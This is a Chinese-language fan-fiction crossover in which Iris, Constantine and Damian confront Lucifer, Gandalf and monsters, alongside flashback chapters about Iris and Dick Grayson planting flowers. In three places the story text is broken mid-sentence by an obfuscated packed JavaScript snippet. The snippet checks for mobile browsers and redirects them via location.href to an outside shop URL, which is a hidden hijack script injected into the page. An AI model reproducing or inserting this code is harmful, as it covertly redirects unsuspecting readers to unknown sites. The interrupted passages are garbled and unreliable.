艾瑞斯看着他。 康斯坦丁也看着她。 “你知道他为什么治我吗?” 艾瑞斯没说话。 “因为他想让我带句话给你。” 康斯坦丁把烟头扔在地上,踩灭。 “他说:‘代路西法告诉她,那把枪是她的。她逃不掉的。’” 24. 风从河面上吹过来,带着潮湿的凉意。 艾瑞斯站在教堂门口,看着康斯坦丁。 沉默了很久。 “他知道我在这儿?” “不清楚。” 艾瑞斯垂下眼睛。 她想起路西法的声音。想起他说过的那些话。想起自己握着那把枪逃离时的感觉。 25. 那天上午,艾瑞斯和康斯坦丁一起回到了住处。 他们把所有的线索又过了一遍。 蝙蝠侠的资料,康斯坦丁的笔记,教堂里的那个声音,路西法的口信。 最后,康斯坦丁在地图上画了一个圈。 哥谭东区,码头附近的一块荒地。 “这里。”他说,“所有线索都指向这里。” 艾瑞斯看着那个圈。 那块荒地她去过。码头区边缘,废弃的仓库,生锈的集装箱,杂草丛生的空地。 “什么时候去?” “今晚。”康斯坦丁说,“这种事,越早越好。” 艾瑞斯点点头。 26. 晚上九点,艾瑞斯出门。 康斯坦丁已经等在楼下了。 他今天没抽烟,站在路灯下,脸色比平时严肃。 “走吧。” 他们一起往码头区走去。 路过一个街角的时候,艾瑞斯看到一个熟悉的身影。 达米安。 他站在巷子口,双手插在口袋里,表情一如既往地不耐烦。 “你怎么在这儿?” “巡逻。”达米安说,“顺便看看某个人有没有把自己作死。” 艾瑞斯看着他。 达米安别过脸。 “不是我担心你,”他说,“是联盟让我盯着。” 康斯坦丁在旁边笑了一声。 “小罗宾,你这借口找得真烂。” 达米安瞪了他一眼。 艾瑞斯嘴角弯了一下。 “一起吧。”她说。 27. 三个人穿过码头区,走向那块荒地。 月光很淡,被云遮住大半。四周很安静,只有远处偶尔传来几声狗叫。 那块荒地越来越近。 艾瑞斯能感觉到什么。 那种若有若无的存在感,越来越强。 康斯坦丁也感觉到了。 “它在这儿。”他低声说。 达米安皱起眉:“什么东西?” “朗基努斯之枪的残影。”艾瑞斯说。 她停下来。 前面是一片空地。杂草丛生,中间堆着几个生锈的集装箱。月光落在上面,投下长长的影子。 艾瑞斯看着那片空地。 她能感觉到。 就在那里。 在某个地方。 等着她。 13. 日常6(回忆篇) 1. 迪克·格雷森第一次认真注意到艾瑞斯,是在一个下雨的下午。 那时候他刚回大宅不久,窝在客厅的沙发里看一本漫画。窗外雨声淅沥,屋子里很安静,阿福在厨房准备晚餐,布鲁斯在书房,达米安不知道躲在哪里练刀。 一切都很好。 然后他的衣角被轻轻拽了一下。 迪克低头。 沙发旁边探出一个小脑袋。 浅灰黑色的头发有点乱,蓝眼睛亮晶晶的,正仰着脸看他。 “迪克。” “艾瑞斯?”他放下漫画,“你什么时候过来的?” “刚才。”她说,“我叫你了,你没听见。” 迪克愣了一下。 他确实没听见。 艾瑞斯从沙发旁边绕过来,挨着他坐下。小小的一团,软软的,挨在他胳膊上。 “你在看什么?” “漫画。” “好看吗?” “好看。” 艾瑞斯点点头,凑过来一起看。 她看不懂字,就看画。看到有趣的地方就笑,露出缺了一颗的门牙。 迪克低头看她。 她看得很认真,眼睛一眨一眨的,睫毛长长的。 窗外的雨还在下。 但屋子里很暖。 2. 后来迪克发现,艾瑞斯是个很奇怪的小孩。 她会在你完全没注意的时候突然出现,拉拉你的衣角,扯扯你的袖子,或者就只是站在旁边看着你。等你发现她的时候,她就冲你笑。 “你怎么总是不出声?”迪克有一次问她。 艾瑞斯想了想。 “我出声了。”她说,“你没听见。” 迪克噎了一下。 好像……也对? 艾瑞斯又想了想,补充道:“你耳朵不好。” “我耳朵好得很!” “那你为什么没听见?” 艾瑞斯摆出一副她很失望的表情。 迪克张了张嘴,发现自己说不过一个三岁小孩。 3. 迪克发现,和艾瑞斯在一起的时候,做什么都变得很有意思。 比如看电视。 他喜欢看马戏表演的录像。那些杂技演员在空中飞来飞去,做出各种高难度动作,他看得入迷。 艾瑞斯也看。 但她看的不是杂技演员。 “那个人的鼻子好红。”她说。 “那是小丑。” “他为什么要画哭脸?” “因为小丑都是要装扮的。。” 艾瑞斯盯着屏幕看了三秒。 “他是不是不开心?” 迪克愣了一下。 他不知道该怎么回答。 “迪克你别和那个叔叔一样,如果做一件事不开心就不要去做。我们都还有选择。” 4. 迪克偶尔会和艾瑞斯一起玩比如画画。 迪克喜欢画画。他画蝙蝠侠,画罗宾,画那些在天上飞来飞去的超级英雄。 艾瑞斯也画。 但她画的东西他看不懂。 一团绿色的东西,上面长着奇怪的黑点。 “这是什么?” “黄瓜狗狗。” “……黄瓜狗狗?” “嗯。”艾瑞斯指着那团绿色,“这是头,这是身体,这是尾巴。” 迪克仔细辨认了一下。 什么都辨认不出来。 “它为什么有六个脚?” “狗狗有四个脚。” 艾瑞斯低头看了看自己的画。 “哦,迪克真没有想象力…”她说。 然后她拿起笔,把两个脚涂掉了。 迪克:“……” 艾瑞斯抬起头,看着他一副我宠你的表情。 “现在好了。” 迪克看着那团仍然看不出是狗的东西。 “……嗯,好了。” 艾瑞斯满意地点点头,继续画。 过了一会儿,她把画举到他面前。 “送给你。” 迪克接过那张皱巴巴的纸。 六个脚的狗狗,被涂掉了两个脚,剩下的四个歪歪扭扭,尾巴比头还大。 他笑了。 “谢谢。” “不客气,记得挂你床头我会检查。” … 5. 他们一起吃饭。 艾瑞斯挑食。 她讨厌蔬菜,讨厌胡萝卜,讨厌一切绿色的东西。 但阿福总有办法让她吃下去。 “吃了这个,待会儿可以看一集动画片。” 艾瑞斯盯着碗里的青菜,表情像是在看什么可怕的东西。 迪克在旁边看着,觉得好笑。 “很难吃吗?” “难吃。”艾瑞斯认真地说。 “你吃过吗?” “没有。” “那你怎么知道难吃?” 艾瑞斯看着他,像是在看一个傻子。 “绿色的都难吃。” 迪克被她这个逻辑震住了。 他想了想,从她碗里夹了一根青菜,放进嘴里。 “还行啊。” 艾瑞斯瞪大眼睛,看着他嚼。 “你吃了?” “吃了。” “好吃吗?” “还行。” 艾瑞斯沉默了三秒。 然后她拿起勺子,舀了一根青菜,小心翼翼地放进嘴里。 嚼了嚼。 又嚼了嚼。 “怎么样?” 艾瑞斯看着他。 “……还行。” 迪克笑了。 从那以后,艾瑞斯吃青菜的时候,总要迪克在旁边先吃一口。 “你先吃。” “为什么?” “你吃了,我就吃。” 迪克觉得这个逻辑很奇怪,但他还是吃了。 艾瑞斯就跟着吃。 阿福看到这一幕,嘴角弯了一下。 6. 他们还一起种花。 那天下午天气很好,阳光暖洋洋的。 艾瑞斯蹲在花园里,盯着地面发呆。 迪克走过去,蹲在她旁边。 “看什么呢?” “没什么。”艾瑞斯说,“无聊。” 迪克想了想。 “要不……玩点什么?” “玩什么?” 迪克也不知道玩什么。 他们就这么蹲着,一起发呆。 过了一会儿,阿福端着茶具走出来。 看到两个蹲在地上的背影,他微微弯了弯嘴角。 “两位看起来很闲。” 艾瑞斯转过头。 “阿福,我好无聊。” 阿福放下茶具,走过来,低头看着那片空地。 “既然无聊,”他说,“不如种点东西。” 艾瑞斯眨眨眼。 “种东西?” “花。”阿福说,“把这片地翻一翻,撒上种子,过些日子就会开出花来。” 艾瑞斯低头看着那片灰扑扑的土。 “真的会开花?” “会的。”阿福说,“只要好好照顾它们。” 艾瑞斯想了想,抬头看迪克。 “种吗?” 迪克笑了。 “种。” 7. 阿福拿来两把小铲子,一小袋花种。 艾瑞斯蹲在地上,拿着铲子,不知道该怎么下手。 迪克在旁边示范。 “先挖一个坑,不用太深。然后把种子放进去,盖上土,浇点水。” 艾瑞斯认真地看着。 然后她开始挖。 挖出来的土撒得到处都是,溅到了迪克的裤腿上。 迪克没在意。 他也在挖自己的坑。 8. 艾瑞斯挖了三个坑。 迪克挖了五个。 他们把种子撒进去,盖上土,然后去找水管。 艾瑞斯抱着水管,对着那些坑一通乱浇。 水溅到迪克身上,他又往旁边躲了躲。 艾瑞斯抬起头,看着他湿了的袖子。 迪克等着她的道歉。 “迪克你好笨哦,都不知道要躲躲吗…” “…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244864|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迪克,“?” 艾瑞斯摇头拿迪克一幅没办法的样子,继续浇。 浇完水,他们蹲在边上,看着那些刚埋下去的种子。 “什么时候能长出来?” “过几天吧。” “几天?” “大概……一周?” 艾瑞斯点点头。 她伸手,在第一个坑旁边插了一根小树枝。 “这个是我的。” 迪克也插了一根。 9. 那之后,艾瑞斯每天都要去看那些坑。 早上起床,第一件事就是跑到花园里,蹲在地上看。 “还没长出来。” 中午吃完饭,又跑去看。 “还没长出来。” 晚上睡觉前,还要去看。 “还没长出来。” 迪克每次都陪着她。 蹲在她旁边,一起盯着那些灰扑扑的土。 10. 第五天早上,艾瑞斯照常跑去看。 然后她愣住了。 “迪克!” 迪克从屋里跑出来。 “怎么了?” 艾瑞斯指着地上,眼睛亮晶晶的。 “发芽了。” 迪克蹲下来看。 真的长了。 小小的绿芽,从土里探出头来,嫩嫩的,软软的。 艾瑞斯盯着那些小芽,一动不动。 “好小。”她说。 “刚长出来都小。” “它们会变大吗?” “会。”迪克说,“变成花。” 艾瑞斯点点头。 她伸出手,想摸一摸。 又缩回去了。 迪克看着她的样子,忽然笑了。 11. 又过了一周,花开出来了。 小小的,白的黄的,挤在一起。 艾瑞斯蹲在花前面,看了很久。 “好看。”她说。 “嗯。” “我们种的。” “嗯。” 艾瑞斯抬起头,看着迪克。 “迪克。” “嗯?” “下次还种吗?” 迪克看着她那双亮晶晶的蓝眼睛。 “种。”他说,“下次种更多的。” 艾瑞斯笑了。 “那你负责种,我监工。” 迪克:? 露出缺了一颗的门牙。 13. 那天晚上艾瑞斯灵感爆发,迪克收到了一张画。 画上是两朵花,一朵大的,一朵小的。旁边站着两个小人,手牵着手。 下面歪歪扭扭写着:迪克和艾瑞斯,种花。 迪克把那张画贴在床头。 一直贴了很久。 13. 艾瑞斯偶而醒的很早,那她做第一件事就是去找迪克。 不是找布鲁斯,不是找阿福,是找他。 迪克有时候还在睡觉,就感觉有人在轻轻扯他的被子。 他睁开眼睛,看到一张凑得很近的小脸。 蓝眼睛亮晶晶的,正盯着他看。 “迪克,起床了。” “……几点了?” “不知道。” “那你为什么叫我?” “因为我醒了。” 艾瑞斯说这话的时候,还坐在他床边,两只手老老实实放在自己膝盖上。她没有碰他,只是等着。 迪克看着那张理直气壮的小脸,忽然不知道该说什么。 他叹了口气,坐起来。 艾瑞斯就乖乖地坐在旁边,等他清醒。 “今天干什么?”她问。 迪克揉了揉眼睛。 “你想干什么?” 艾瑞斯想了想。 “我们剪报纸玩吧,刚好可以完成我的手工作业。” 迪克很狠狠和艾瑞斯贴贴:“目的很明显了,这位小姐。” 14. 那天上午,他们坐在地板上拼了很久。 艾瑞斯拼的很认真,拼了一大只恐龙,三角龙,翼龙,史前大蟒蛇…… 这孩子一定看了纪录片。 14. 新生活5 28. 艾瑞斯站在码头的边缘,看着黑色的海水在堤岸下起伏。风很大,带着咸腥的气息,吹得她的风衣猎猎作响。远处有几盏灯,昏黄的光落在集装箱上,投下长长的影子。 康斯坦丁靠在一根柱子上抽烟,烟雾被风吹散,什么都留不下。达米安站在她身后几步远的地方,双手插在口袋里,表情一如既往地不耐烦——但他没有走。 “你确定是这儿?”康斯坦丁问。 艾瑞斯没有回答。 她在等。 或者说,她在感觉。 那种若有若无的存在感,像一根细细的线,牵着她往某个方向走。从码头区到港口,从港口到这片最边缘的堤岸。 就在附近。 她能感觉到。 【艾瑞斯。】哥谭的声音响起,低沉,带着警惕,【有人来了。】 艾瑞斯抬起头。 不是“有人”。 是“有东西”。 空气忽然变了,空间变得扭曲。 不是变冷,也不是变热,而是一种说不清的变化。像有什么东西撕开了一道口子,从另一个地方漏了过来。 康斯坦丁的烟灭了。 他把烟头扔在地上,用脚踩灭,抬起头。 “啧。” 达米安的手已经按在了刀柄上。 艾瑞斯没有动。 她看着前方的黑暗。 黑暗里走出一个人。 不,不是人。 那张脸她见过。 很久以前。在另一个地方。 路西法。 29. 他穿着一身剪裁考究的黑色西装,皮鞋锃亮,头发梳得一丝不苟。如果不是从那样的黑暗里走出来,他看起来就像任何一个深夜在港口散步的有钱人。 他站定,看着艾瑞斯。 然后他笑了。 “妹妹。” 那个词从他嘴里说出来,带着一种说不清的意味——亲昵,嘲弄,又像是什么别的。 艾瑞斯没动。 “别这么看我。”路西法走过来,在她面前三步远的地方停下,“好歹我们也是一家人,虽然这个世界线里我们不太熟。” 康斯坦丁在后面轻轻啧了一声。 达米安的手按得更紧了。 艾瑞斯开口了。 “你来干什么?” 路西法歪了歪头,嘴角带着笑。 “来看看你。”他说,“离家出走这么久,也不打个电话回家。爸爸很担心你。” “堕天使应该说出这种话吗…” “哦?”路西法的笑容更深了,“亲爱的,你还是太较真了。” 艾瑞斯没说话。 路西法往前迈了一步,离她更近了。 “你知道吗,地狱最近挺无聊的。”他说,“玛门走了之后,连个吵架的人都没有。我在想——你要不要来做客?” 艾瑞斯看着他。 “…” “对。参观参观。住几天。看看你哥哥我住的地方。”路西法的语气轻飘飘的,像在邀请她去喝杯茶,“保证比那些冷冰冰的地方舒服。” “我拒绝。” “为什么?” “不想。” 路西法盯着她看了三秒,少女的脸旁和“记忆”里那温和的笑脸交错。 然后他笑了。 “你还是这么倔。”他说,“小时候就这样,不该让你放牛的。脾气跟牛一样。” 他退后一步,双手插回口袋。 “那把枪的事,我不问了。”他说,“反正你找到了,我就知道了。但你要记住——” 他顿了顿,笑容淡了一点。 “你是我妹妹。不管你想不想承认。” 他转身,准备离开。 走了两步,他停下来。 回头看了她一眼。 “对了——记得来做客。” 然后他消失了。 像他来时一样突然。 30. 空气恢复了正常。 风还在吹,海水还在起伏。 好像什么都没发生过。 达米安的手从刀柄上放下来,眉头皱得很紧。 “他叫你妹妹。” “嗯。” “什么意思?” 艾瑞斯看了他一眼。 “字面意思。” 达米安还想再问,但艾瑞斯已经转过了身。 她看着路西法消失的方向。 31. 一个老头出现了。 从另一个方向。从灯光照不到的地方。慢慢地,一步一步地,走出来。 白胡子。灰袍子。一根木杖。 甘道夫。 32. 康斯坦丁的烟又掉了。 老实说他并不是一个不看书的人,眼前的老爷爷十分不对劲。 达米安的手重新按上刀柄。 艾瑞斯没有动。 她看着那个老人走到她面前,在三步远的地方停下。 他的眼睛很浑浊,像是看不清东西的样子。但当他对上她的视线时,那双眼睛里忽然有了光。 “又见面,艾瑞斯。”他说。 声音苍老,沙哑,像风吹过枯叶。 艾瑞斯看着他有些惊讶。 “你…居然记得。” 甘道夫点点头。 “我们不是好朋友吗。”他说,“想要忘记你可爱的笑脸还真是对我这个老爷爷有点难。” 33. 沉默在蔓延。 达米安的手还按在刀柄上,但没有拔出来。康斯坦丁站在旁边,难得没有说话。 甘道夫看着艾瑞斯。 “别太难过,艾瑞斯。你们是家人。” 甘道夫看着她,浑浊的眼睛里有一种古老的东西。 “你是他们的女儿。”他说,“或许你仍不知他们爱着你。” 风从海面上吹过来,很冷。 甘道夫继续说:“但那不是重点。重点是——那把枪。” 艾瑞斯的心跳漏了一拍。 “你知道它在哪儿?” 甘道夫点点头。 “我知道。”他说,“它在等我带你去。” “去哪儿?” 甘道夫看着她。 “一个你需要踏足的新世界。”他说,“它一直在那儿。从一开始就在等你。” 艾瑞斯的手开始发热,她感受到一阵灼痛感。 空气再次撕裂。 不是路西法那种优雅的撕裂,而是粗暴的、蛮横的撕开。一道巨大的裂缝在码头边缘张开,黑色的液体从里面涌出来,凝结成形状。 魔兽。 不止一只。 三只,五只,七只——越来越多。它们从裂缝里爬出来,四肢着地,眼睛泛着幽幽的绿光。最大的那只有两米多高,形状像某种变异的爬行动物,嘴角淌着黏液。 康斯坦丁骂了一句脏话。 达米安已经拔出了刀。 艾瑞斯没有动。 她看着那些魔兽,看着它们从裂缝里涌出来,看着它们环顾四周,然后—— 看向她。 所有的眼睛,都看向她。 为首那只最大的魔兽发出一声嘶吼,朝她扑过来。 34. 艾瑞斯侧身,避开那一扑。 一只手伸过来,递给她一样东西。 康斯坦丁。 “拿着。”他说,“早就给你准备好了。” 一把银色的长枪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244865|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不是朗基努斯之枪。只是一把普通的银枪,但上面刻着复杂的符文,在黑暗中泛着微光。 艾瑞斯接过枪。 银光一闪。 枪尖刺入魔兽的侧颈。那东西发出一声尖啸,挣扎着后退,黑色的血从伤口涌出来。 艾瑞斯没有追。 她站在原地,枪尖斜指地面,看着那些魔兽。 “圣痕!”巨大的光阵亮起。 魔兽扑向艾瑞斯绿色的眼睛在黑暗中闪烁。 她只是握着那把银枪,在它们之间穿梭。 枪尖划开黑暗,银色的光迹带起黑色的血。她的动作干净利落,没有一丝多余。那些魔兽一只接一只倒下,嘶吼声渐渐变成哀鸣与灰烬。 艾瑞斯站在那儿,握着那把银枪,呼吸不稳甚至脑袋发昏。 枪尖上滴着黑色的血。 康斯坦丁走过来,看着一地狼藉。 “我就知道用得上。”他说。 艾瑞斯把枪递还给他。 “谢谢。” 康斯坦丁接过枪,擦了擦枪尖上的血。 “不客气。”他说,“你欠我个人情。” 35. 就在这时,一道黑色的身影从阴影里走出来。 蝙蝠侠。 他站在码头的入口处,黑色的披风在风里微微飘动,面具后面的眼睛正看着艾瑞斯。 不知道他来了多久。 不知道他看到了多少。 沉默。 然后他走过来,在她面前站定。 “你需要解释。”他说。 艾瑞斯看着他。 “解释什么?” “你是什么人?” 那双眼睛从面具后面看过来,锐利,冷静,带着审视。 艾瑞斯没有躲开那道目光。 “艾瑞斯,”她说,“斯塔克工业特派,魔兽事件联络员。” “你知道我问的不是这个。” 沉默了几秒。 艾瑞斯开口了。 “我是个孤儿。”她说,“在纽约长大,被斯塔克先生招募。身体素质比普通人好一点,学过一些格斗。刚才都是古一大师特训的功劳。” 半真半假。 蝙蝠侠盯着她。 “那个老人是谁?” 艾瑞斯回头看了一眼。 甘道夫还站在原地,灰袍子在风里微微飘动,像一尊古老的雕像。 “一个朋友。”她说。 “他从哪里来?” “很远的地方。” “你杀它们的时候,没有犹豫。经过特训的普通女孩不会第一次见血不害怕。” 那不是疑问。 艾瑞斯迎上他的目光。蓝色眼睛带着质问她未曾见过。 “解释吗?” 蝙蝠侠沉默了三秒。 “你还有别的问题吗?”艾瑞斯问。 蝙蝠侠盯着她。 那双眼睛很锐利。艾瑞斯知道他在想什么——他在想她的话哪些是真,哪些是假。 让他想。 “以上有准确的回答都属实吗?”蝙蝠侠问。 艾瑞斯看着他。 那双蓝色的眼睛,和她自己的一模一样。 “可能。”她说,“我会告诉你你需要知道的。” 36. 蝙蝠侠离开的时候,天边已经泛起了鱼肚白。 达米安看了她一眼,什么都没说,跟了上去。 康斯坦丁拍了拍身上的灰,点起一根烟。 “你刚才那个回答,”他说,“挺有意思的。话说你活干的不错要和我搭档吗?你四我六。” 艾瑞斯没理他。 她走向甘道夫。 老人还站在那儿,像是在等她。 15. 日常7(回忆篇) 15. 迪克·格雷森已经单飞很久了。 布鲁德海文的夜晚和哥谭不一样。这里的犯罪没那么疯狂,没那么扭曲,更像是普通城市的普通罪恶。 凌晨两点,他一个人坐在公寓的沙发上,电视开着,放着什么他根本没看的节目。屋里很安静,安静得能听到冰箱的嗡鸣声。 他又想起哥谭了。 他的家人和他的小妹妹。 迪克发现自己经常幻想一些奇怪的事。 比如如果艾瑞斯来布鲁德海文和他一起生活,会是什么样子? 他想过很多遍。 早上的时候,他会做早餐。艾瑞斯挑食,不吃绿色的东西,那他就不放绿色的东西。煎蛋、培根、烤面包,简单但好吃。艾瑞斯会坐在餐桌前,晃着两条够不着地的腿,等他端上来。 “迪克,我们一起带海莉去公园玩好吗…” 她迷迷糊糊的安排她的一天。 然后他接着说,“好啊。” “迪克,你吃掉剩下的蔬菜…” “我会向阿福告状的。”然后看着艾瑞斯的表情变得可爱起来。 他会一边假装威胁,一边帮她吃掉讨厌的蔬菜像是寻常的兄妹那样。 然后他们会一起出门。他去警局上班,她去上幼儿园——不对,那时候她才三岁,上什么幼儿园。那就是他去警局,她跟着阿福?不对,阿福在哥谭。 那谁照顾她? 这个问题在他幻想里经常卡住。 但他会想办法解决的。请个保姆?让邻居帮忙?实在不行就带着她去警局——反正艾瑞斯是一个很可爱的小孩,没人会讨厌她。 下午他下班回来,她会跑过来拉他的衣角。 “迪克,今天干什么?” “你想干什么?” “种花。” “行,种花。” 他们就蹲在阳台上种花。布鲁德海文的阳光比哥谭好,花应该能长得更快。 晚上他出去巡逻的时候,她会乖乖睡觉。他会给她讲故事,讲那些不吓人的、有美好结局的故事。等她睡着了,他才换上制服,从窗户翻出去。 她会梦到他。 然后他们生活的很幸福。 16. 有一次迪克想得太过投入,一发不可收拾。 他开始打扫房间。 客厅、卧室、厨房、卫生间,每一个角落都擦得干干净净。然后他看着家里那只狗——海莉,那只他救回来的三条腿的小姑娘——忽然觉得她也该洗个澡了。 海莉趴在她的窝里,圆溜溜的棕色眼睛看着他,两只下垂的大耳朵软软地搭着。她的毛色很漂亮,主体是柔软的浅棕色,耳朵和背上覆盖着大面积的深棕色毛发,像披着一件小披风。 她只有三条腿,但这从来不影响她的活泼可爱。 于是迪克给海莉洗了个澡。 吹干。 梳毛。 打理得漂漂亮亮。 忙完这一切,他坐在沙发上,看着干净得发光的房间,和那只傻乎乎看着他的小狗。 他忽然笑了。 笑得有点傻。 17. “你在干嘛?” 手机响了,是视频通话。 艾瑞斯的脸出现在屏幕上。她趴在床上,头发乱糟糟的,怀里抱着图画本。看着几个小人迪克猜的出她正在画各种装扮的布鲁斯,杰森和家里的每一个人。 “没干嘛。”迪克说。 “你家好干净。” “嗯,刚打扫完。” 艾瑞斯盯着屏幕看了三秒。 “海莉呢?” 迪克把镜头转过去,对准那只趴在狗窝里的小狗。 海莉听到自己的名字,抬起头,吐着舌头。她的三条腿撑起身子,颠颠儿地往镜头这边凑。 艾瑞斯的眼睛亮了。 “海莉——她好可爱。” “嗯,是挺可爱的。” “她的毛好漂亮。”艾瑞斯凑近屏幕,“像奶油。” 迪克笑了。 “是挺像奶油的。” “她为什么只有三条腿?” 迪克顿了一下。 “她以前受伤了。”他说,“被救的时候左前腿受了重伤,没能保住。但她跑得可快了,你根本看不出她少一条腿。” 艾瑞斯认真地看着屏幕里那只三条腿的小狗。 海莉正歪着头,圆溜溜的眼睛好奇地看着镜头。 “她厉害。”艾瑞斯说。 “嗯,很厉害。” 18. “迪克。” “嗯?” “你什么时候回来?” 迪克愣了一下。 他看着屏幕里那张小脸,看着她亮晶晶的蓝眼睛。 “想我了?” “并没有,迪克你不在没有人帮我吃蔬菜了” 迪克忽然觉得心里有什么地方软了一下。 “过几天就回去,但是蔬菜你得自己吃。”他说。 “几天?” “三天?” 艾瑞斯想了想。 “三天是多久?” “就是……睡三觉。” “哦。”艾瑞斯点点头,“那迪克你快点睡三觉吧。” “为什么不是你睡?” “因为我还有给你画一件裙子穿。” 她说完,把画板举起来,一个黑头发的小人就穿着一条紫蓝色的大蓬蓬裙。 迪克看着屏幕里那张睡脸,忍不住笑了。 19. 三天后,迪克回到哥谭。 他一进门,就有一个小身影冲过来,抱住他的腿。 “迪克!” 他低头,看到艾瑞斯仰着脸冲他笑。 “我给我你画了六条裙子”她说,“你回来了。” 20. 晚上,他们坐在花园里看星星。 哥谭的星星不多,稀稀落落的几颗,但艾瑞斯看得很认真。 “迪克。” “嗯?” “你在布鲁德海文,能看到星星吗?” “能。” “多吗?” “比哥谭多。” 艾瑞斯沉默了一会儿。 “那你一个人看星星,会不会无聊?” 迪克愣了一下。 他想起布鲁德海文的那些夜晚。一个人坐在阳台上,看着比哥谭多的星星,确实是……有点无聊。 “不会。”他说,“我有工作。” “工作完了呢?” “回家。” “回家然后呢?” “然后……陪海莉。” 艾瑞斯眨眨眼。 “海莉陪你?” “嗯。她趴在我脚边,我们一起看星星。” 艾瑞斯想了想。 “那海莉是好的。” 迪克笑了。 “对,海莉是好的。” 21. 艾瑞斯又想了想。 “那会不一样吗?” “什么?” “星星。”她说。 迪克看着她。 那双蓝眼睛很认真带着好奇。 “我来陪你吧。”艾瑞斯说,“跟海莉一起。” 迪克愣了一下。 他看着艾瑞斯认真的小脸,忽然起了逗她的心思。 “真的?你愿意跟我去布鲁德海文?” “嗯。” “不跟爸爸住了?” 艾瑞斯想了想。 “啊,爸爸。爸爸…嗯…我们给他打视频吧。” 噗呲一声笑,请原谅他。 艾瑞斯又想了想。 “我不去,你迪克你好讨厌哦。居然笑我…”她闷闷的说。 迪克笑了。 22. 但艾瑞斯接着说:“我不去,你会回来吗?” 迪克看着她。 “会。”他说,“我经常回来。” “经常是多久?” “就是……经常。” 艾瑞斯对这个答案不满意。 她皱着小眉头,像是在思考什么严肃的问题。 过了一会儿,她还是开口了。 “迪克。” “嗯?” “如果我去陪你,你会变得不孤独吗?” 迪克愣了一下。 “……会。” “那我就勉为其难去陪你吧。” 迪克看着她。 那双蓝眼睛亮晶晶的,认真得不得了。 他忽然不知道该说什么。 23. 第二天早上,整个大宅都震惊了。 艾瑞斯起得比平时早。她自己穿好了衣服——蓝色裙子,配着白色的小袜子,头发比平时整齐。脚边放着她那个小皮箱,上面贴满了鸢尾花贴纸。 阿福看到的时候,愣了一下。 “艾瑞斯小姐,您这是……要去郊游?” 艾瑞斯摇摇头。 “去布鲁德海文。” 阿福的眉毛抬了一下。 “……和迪克少爷?” “嗯。” 阿福沉默了一秒。 “布鲁斯老爷知道吗?” 艾瑞斯想了想。 “啊…昨天光听故事忘了说了…” 她说完,拖着她的小行李箱,哒哒哒地往迪克的房间走。 24. 迪克还在睡觉。 门被推开,一个小身影走进来。 “迪克。” 没反应。 “迪克。” 还是没反应。 一只小手伸过来,扯了扯他的被子。 “迪克,起床了。” 迪克睁开眼睛。 一张小脸凑得很近,蓝眼睛亮晶晶的。 “艾瑞斯?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244866|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我准备好了。” 迪克迷迷糊糊地坐起来。 “准备什么?” “去布鲁德海文。” 迪克愣住了。 他低头,看到艾瑞斯穿戴整齐,头发梳得光溜溜的,脚边放着那个小行李箱。 “……什么?” “你说过,我去你会开心。”艾瑞斯认真地看着他,“所以我来了。” 迪克张了张嘴,不知道该说什么。 艾瑞斯继续说:“但是我有一个要求。” “什么要求?” “周六和周日要回哥谭。”她说,“我要看爸爸,要看阿福他们。” 她顿了顿,补充道:“我要和海莉一起玩。” 迪克看着她——你还真是让他有些无可奈何。 25. “艾瑞斯……” 他开口,声音有点哑。 “你愿意陪我去,我很开心。” 艾瑞斯点点头。 “但是——” 艾瑞斯歪着头看他。 迪克深吸一口气。 “布鲁德海文那边,我还没准备好。”他说,“房子太小了,没有你的房间。而且我工作很忙,不能好好照顾你。” 艾瑞斯听着。 “所以这次,你先不去。等我把那边弄好了,再来接你,好不好?” 艾瑞斯沉默了一会儿。 “那你什么时候来接我?” 迪克想了想。 “很快。” “很快是多久?” “就是……很快。” 艾瑞斯盯着他。 那眼神,像是在说“你骗人”。 迪克心虚地移开视线。 26. 就在这时,门口传来一个声音。 “艾瑞斯。” 是布鲁斯。 他站在门口,穿着睡袍,头发也有点乱——显然是被吵醒的。 艾瑞斯转过头。 “爸爸。” 布鲁斯走过来,蹲下来,和她平视。 “你要跟迪克走?” 艾瑞斯点点头。 布鲁斯的脸上露出一种夸张的伤心表情。 “那爸爸怎么办?晚上谁给爸爸讲故事?” 艾瑞斯想了想。 “你可以自己讲。” 布鲁斯的表情更伤心了。 “自己讲没意思。” 艾瑞斯又想了想。 “爸爸你已经是大人了,你要坚强。加油!我看好你。” 布鲁斯愣了一下。 她看了看布鲁斯,又看了看迪克。 27. 房间里安静了几秒。 然后迪克笑了。 布鲁斯也笑了。 布鲁斯伸手揉了揉她的头发。 艾瑞斯被揉得头发又乱了,但她没躲。 迪克看着她。 还是妥协了。他说,“现在还不是时候。” 艾瑞斯眨眨眼。 “我有一个更好的主意。”布鲁斯说,“每个月有一天,是你们的日子。那一天迪克回来,或者你去找迪克。只有你们两个。做什么都行。” 艾瑞斯想了想。 